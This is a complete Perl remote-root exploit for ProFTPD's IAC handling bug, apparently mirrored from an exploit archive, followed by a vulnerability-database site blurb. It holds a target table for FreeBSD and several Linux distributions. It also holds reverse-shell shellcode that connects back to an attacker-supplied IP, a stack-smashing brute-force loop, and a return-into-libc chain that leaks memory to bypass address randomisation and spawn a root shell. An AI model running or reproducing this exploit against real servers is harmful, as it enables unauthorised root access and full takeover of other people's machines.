`# Exploit Title: ProFTPD IAC Remote Root Exploit
# Date: 7 November 2010
# Author: Kingcope
use IO::Socket;
$numtargets = 13;
@targets =
(
# Plain Stack Smashing
#Confirmed to work
["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
"FreeBSD", # OPERATING SYSTEM
0, # EXPLOIT STYLE
0xbfbfe000, # OFFSET START
0xbfbfff00, # OFFSET END
1029], # ALIGN
#Confirmed to work
["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
"FreeBSD",
0,
0xbfbfe000,
0xbfbfff00,
1021],
# Return into Libc
#Confirmed to work
["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1, # EXPLOIT STYLE
0x0804CCD4, # write(2) offset
8189, # ALIGN
0], # PADDING
# Confirmed to work
["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
"Linux",
1,
0x0804D23C,
4101,
0],
#Confirmed to work
["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804C9A4,
8189,
0],
#Confirmed to work
["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
"Linux",
1,
0x080532D8,
4101,
12],
["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804C9C4,
8189,
0],
["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CAA8,
8189,
0],
["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CBBC,
8189,
0],
["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CCBC,
8189,
0],
#Confirmed to work
["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CCE0,
8189,
0],
["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CA2C,
8189,
0],
#Confirmed to work
["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804C290,
8189,
0],
# feel free to add more targets.
);
#freebsd reverse shell port 45295
#setup a netcat on this port ^^
$bsdcbsc =
# setreuid
"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
# connect back :>
"\x31\xc0\x31\xdb\x53\xb3\x06\x53".
"\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x31\xd2\x52\x52\x68".
"\x41\x41\x41\x41\x66\x68\xb0\xef".
"\xb7\x02\x66\x53\x89\xe1\xb2\x10".
"\x52\x51\x50\x52\x89\xc2\x31\xc0".
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
"\x74\x06\x31\xc0\xb0\x01\xcd\x80".
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x31\xdb\x43\x53\x52".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
"\x53\x52\x50\xb0\x5a\xcd\x80\x31".
"\xc0\x50\x68\x2f\x2f\x73\x68\x68".
"\x2f\x62\x69\x6e\x89\xe3\x50\x54".
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
"\xb0\x01\xcd\x80";
#linux reverse shell port 45295 by bighawk
#setup a netcat on this port ^^
$lnxcbsc =
# setreuid
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".
# connect back :>
"\x6a\x66".
"\x58".
"\x6a\x01".
"\x5b".
"\x31\xc9".
"\x51".
"\x6a\x01".
"\x6a\x02".
"\x89\xe1".
"\xcd\x80".
"\x68\x7f\x7f\x7f\x7f". # IP
"\x66\x68\xb0\xef". # PORT
"\x66\x6a\x02".
"\x89\xe1".
"\x6a\x10".
"\x51".
"\x50".
"\x89\xe1".
"\x89\xc6".
"\x6a\x03".
"\x5b".
"\x6a\x66".
"\x58".
"\xcd\x80".
"\x87\xf3".
"\x6a\x02".
"\x59".
"\xb0\x3f".
"\xcd\x80".
"\x49".
"\x79\xf9".
"\xb0\x0b".
"\x31\xd2".
"\x52".
"\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e".
"\x89\xe3".
"\x52".
"\x53".
"\x89\xe1".
"\xcd\x80";
sub exploit1 {
for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);
$ret = pack("V", $counter);
$align = $targets[$ttype][5];
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;
$v = <$sock>;
print $sock "\x00" x $align . "\xff" . $stack . "\n";
close($sock);
}
}
# Linux technique to retrieve a rootshell (C) kingcope 2010
#
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
# only the write(2) plt entry offset is needed for the exploit to work (and of course the
# align value)
# once the correct write value is given to the exploit it fetches the memory space of proftpd.
# with this information the exploit can find function entries and byte values
# relative to the write(2) address.
# once the memory is read out the exploit does the following to circumvent linux adress space
# randomization:
#
# 1.) calculate mmap64() plt entry
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
# such as pop pop ret instructions
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
# 4.) copy known assembly instructions (which have been found before using the memory read)
# to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
# and make use of the memcpy found before
# 5.) actually jump to the shellcode finder
# 6.) once the shellcode has been copied to 0x10000100 jump to it
# 7.) shellcode gets executed and we have our desired root shell.
sub exploit2 {
printf("[$target] %s :pP\n", $targets[$ttype][0]);
$align = $targets[$ttype][4];
$write_offset = $targets[$ttype][3];
$padding = $targets[$ttype][5];
$|=1;
print "align = $align\n";
print "Seeking for write(2)..\n";
#known good write(2) values
#0x0804C290
#0x0804A85C
#0x0804A234
#0x08052830
#080532D8 proftpd-basic_1.3.3a-4_i386
#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)
#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!
printf "Using write offset %08x.\n", $write_offset;
$k = $write_offset;
$sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$sock->sockopt(SO_LINGER, pack("ii", 1, 0));
#$x = <stdin>;
$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding .
pack("V", $k). # write
"\xcc\xcc\xcc\xcc".
"\x01\x00\x00\x00". # fd for write
pack("V", $k). # buffer for write
"\xff\xff\x00\x00"; # length for write
$v = <$sock>;
print $sock "\x00" x $align . "\xff" . $stack . "\n";
vec ($rfd, fileno($sock), 1) = 1;
$timeout = 2;
if (select ($rfd, undef, undef, $timeout) >= 0
&& vec($rfd, fileno($sock), 1))
{
if (read($sock, $buff, 0xffff) == 0xffff) {
printf "\nSUCCESS. write(2) is at %08x\n", $k;
close($sock);
goto lbl1;
}
}
close($sock);
printf "wrong write(2) offset.\n";
exit;
lbl1:
# Once we're here chances are good that we get the root shell
print "Reading memory from server...\n";
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .
pack("V", $k). # write
"\xcc\xcc\xcc\xcc".
"\x01\x00\x00\x00". # fd for write
pack("V", $k). # buffer for write
"\xff\xff\x0f\x00"; # length for write
$v = <$sock>;
print $sock "\x00" x $align . "\xff" . $stack . "\n";
read($sock, $buff, 0xfffff);
if (($v = index $buff, "\x5E\x5F\x5D") >= 0) {
$pop3ret = $k + $v;
printf "pop pop pop ret located at %08x\n", $pop3ret;
} else {
print "Could not find pop pop pop ret\n";
exit;
}
if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) {
$largepopret = $k + $v;
printf "large pop ret located at %08x\n", $largepopret;
} else {
print "Could not find pop pop pop ret\n";
exit;
}
if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) {
$addr1 = $k+$v+23;
$mmap64 = unpack("I", substr($buff, $v+20, 4));
$mmap64 = $addr1 - (0xffffffff-$mmap64);
printf "mmap64 is located at %08x\n", $mmap64;
} else {
if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) {
$addr1 = $k+$v+17;
$mmap64 = unpack("I", substr($buff, $v+14, 4));
$mmap64 = $addr1 - (0xffffffff-$mmap64);
printf "mmap64 is located at %08x\n", $mmap64;
} else {
print "Could not find mmap64()\n";
exit;
}
}
if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) {
$addr1 = $k+$v+21;
$memcpy = unpack("I", substr($buff, $v+18, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08x\n", $memcpy;
} else {
if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) {
$addr1 = $k+$v+21;
$memcpy = unpack("I", substr($buff, $v+18, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08x\n", $memcpy;
} else {
if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) {
$addr1 = $k+$v+16;
$memcpy = unpack("I", substr($buff, $v+13, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08x\n", $memcpy;
} else {
if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) {
$addr1 = $k+$v+15;
$memcpy = unpack("I", substr($buff, $v+12, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08x\n", $memcpy;
} else {
if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) {
$addr1 = $k+$v+18;
$memcpy = unpack("I", substr($buff, $v+15, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08x\n", $memcpy;
} else {
print "Could not find memcpy()\n";
exit;
}
}
}
}
}
if (($v = index $buff, "\xfc\x8b") >= 0) {
$byte1 = $k+$v;
printf ("byte1: %08x\n", $byte1);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\xf4") >= 0) {
$byte2 = $k+$v;
printf ("byte2: %08x\n", $byte2);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\xbf") >= 0) {
$byte3 = $k+$v;
printf ("byte3: %08x\n", $byte3);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\x00\x01\x00") >= 0) {
$byte4 = $k+$v;
printf ("byte4: %08x\n", $byte4);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\x10") >= 0) {
$byte5 = $k+$v;
printf ("byte5: %08x\n", $byte5);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) {
$byte6 = $k+$v;
printf ("byte6: %08x\n", $byte6);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\xf3") >= 0) {
$byte7 = $k+$v;
printf ("byte7: %08x\n", $byte7);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\xA4") >= 0) {
$byte8 = $k+$v;
printf ("byte8: %08x\n", $byte8);
} else {
print "Could not find a special byte\n";
exit;
}
if (($v = index $buff, "\xeb\xff") >= 0) {
$byte9 = $k+$v;
printf ("byte9: %08x\n", $byte9);
} else {
print "Could not find a special byte\n";
exit;
}
# shellcode copy routine:
#0100740B FC CLD
#0100740C 8BF4 MOV ESI,ESP
#0100740E BF 00010010 MOV EDI,10000100
#01007413 B9 00020000 MOV ECX,200
#01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
# EB FF JMP +0xFF
# FC 8B
# F4 BF
# 00 01 00
# 10
# B9 00 02 00 00
# F3:A4
# EB FF
# El1Te X-Ploit TechNiqUe (C)
print "Building exploit buffer\n";
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .
pack("V", $mmap64). # mmap64()
pack("V", $largepopret). # add esp, 20h; pop; pop
"\x00\x00\x00\x10". # mmap start
"\x00\x10\x00\x00". # mmap size
"\x07\x00\x00\x00". # mmap prot
"\x32\x00\x00\x00". # mmap flags
"\xff\xff\xff\xff". # mmap fd
"\x00\x00\x00\x00". # mmap offset
"\x00\x00\x00\x00". # mmap offset
"\x00\x00\x00\x00".
"\x00\x00\x00\x00".
"\x00\x00\x00\x00".
"\x00\x00\x00\x00".
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x00\x00\x00\x10". # destination
pack("V", $byte1). # origin
"\x02\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x02\x00\x00\x10". # destination
pack("V", $byte2). # origin
"\x01\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x03\x00\x00\x10". # destination
pack("V", $byte3). # origin
"\x01\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x04\x00\x00\x10". # destination
pack("V", $byte4). # origin
"\x03\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x07\x00\x00\x10". # destination
pack("V", $byte5). # origin
"\x01\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x08\x00\x00\x10". # destination
pack("V", $byte6). # origin
"\x05\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x0d\x00\x00\x10". # destination
pack("V", $byte7). # origin
"\x01\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x0e\x00\x00\x10". # destination
pack("V", $byte8). # origin
"\x01\x00\x00\x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"\x0f\x00\x00\x10". # destination
pack("V", $byte9). # origin
"\x02\x00\x00\x00". # number of bytes to copy
"\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address
"\x90" x 100 . $shellcode . "\x90" x 10;
print "Sending exploit buffer!\n";
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$v = <$sock>;
print $sock "\x00" x $align . "\xff" . $stack . "\n";
print "Check your netcat?\n";
while(<$sock>) {
print;
}
}
sub usage() {
print "written by kingcope\n";
print "usage:\n".
"proremote.pl <target ip/host> <your ip> <target type>\n\n";
for ($i=0; $i<$numtargets; $i++) {
print "\t[".$i."]\t". $targets[$i][0]. "\r\n";
}
exit;
}
if ($#ARGV ne 2) { usage; }
$target = $ARGV[0];
$cbip = $ARGV[1];
$ttype = $ARGV[2];
$platform = $targets[$ttype][1];
$style = $targets[$ttype][2];
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
if ($platform eq "FreeBSD") {
$shellcode = $bsdcbsc;
substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);
} else {
if ($platform eq "Linux") {
$shellcode = $lnxcbsc;
substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);
} else {
print "typo ?\n";
exit;
}}
if ($style eq 0) {
exploit1;
} else {
exploit2;
}
print "done.\n";
exit;
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation